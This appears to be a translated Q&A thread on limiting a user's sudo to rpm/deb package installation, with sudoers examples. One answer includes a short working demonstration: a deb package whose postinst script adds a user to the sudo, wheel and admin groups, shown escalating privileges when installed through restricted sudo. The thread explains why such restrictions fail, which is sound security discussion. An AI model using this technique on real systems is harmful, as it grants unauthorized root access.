ユーザーのsudoをrpm / debに制限する方法

ユーザーのsudoをrpm / debに制限する方法

パッケージをインストールするためにrpm / debのみを呼び出すようにユーザーのsudoを制限する方法はありますか?

答え1

パッケージをインストールするためにrpm / debのみを呼び出すようにユーザーのsudoを制限する方法はありますか?

はい、man sudoersこれを行う方法の詳細な例があります。

しかし、これは意味がありません。 rpm のインストールを許可すると、root 権限が付与されます。パッケージには、私が望むタスクを実行し、rootとして実行する任意の設定スクリプトを含めることができ、単にsudoと同じタスクを実行しますが、私を制限しないプログラムを含めることができます。

deb(他のパッケージマネージャや実際にコードの実行が許可されているすべてのプログラムと同じ)

答え2

bill実行機能を提供するには、apt-get次の項目に追加してください/etc/sudoers

bill          ALL = /usr/bin/apt-get

複数のコマンドを実行する機能を提供johnまたは実行するには、そのコマンドに対して拡張可能なグループをもう少し作成できます。bob

User_Alias    INSTALLERS = john, bob

Cmnd_Alias    INSTALL = /usr/bin/dpkg, \
                        /usr/bin/apt, \
                        /usr/bin/yum, \
                        /usr/bin/dnf

INSTALLERS    ALL = INSTALL

私は原則としてこのアイデアが好きです。これは、ユーザーが完全なrootアクセス権を付与することなく、信頼できるソースからパッケージをインストールできることが良いためです。アクセス権は付与しますaptが、書き込み権限は付与しないでください/etc/apt/sources.list{,.d}。何が間違っている可能性がありますか?

しかし、以下では、これがどれほど簡単に乱用される可能性があるかを説明します。

$ mkdir -p elevator_1.0/DEBIAN
$ cat > elevator_1.0/DEBIAN/control <<EOF
Package: elevator
Version: 1.0
Architecture: all
Maintainer: Anonymous <[email protected]>
Description: Malicious permission elevator
 Installing this package will elevate permissions of a user.
 Uninstalling will not undo this
EOF
$ cat > eleavtor_1.0/DEBIAN/postinst <<EOF
#!/bin/bash
usermod -a -G sudo bob
usermod -a -G wheel bob
usermod -a -G admin bob
echo "bob has been elevated!"
EOF
$ dpkg-deb -b elevator_1.0
dpkg-deb: building package 'elevator' in 'elevator_1.0.deb'.

$ sudo apt install ./elevator_1.0.deb 
...
The following NEW packages will be installed:
  elevator
...
Preparing to unpack .../elevator_1.0.deb ...
Unpacking elevator (1.0) ...
Setting up elevator (1.0) ...
bob has been elevated

より安全な方法があれば、明らかに興味があるでしょう。私は、従業員が公式のDebianアーカイブと会社の内部アーカイブからソフトウェアをインストールできる必要があるという理由だけでrootアクセスを許可します。信頼できないソースを追加しないように言いましたが、強制することはできません。

関連情報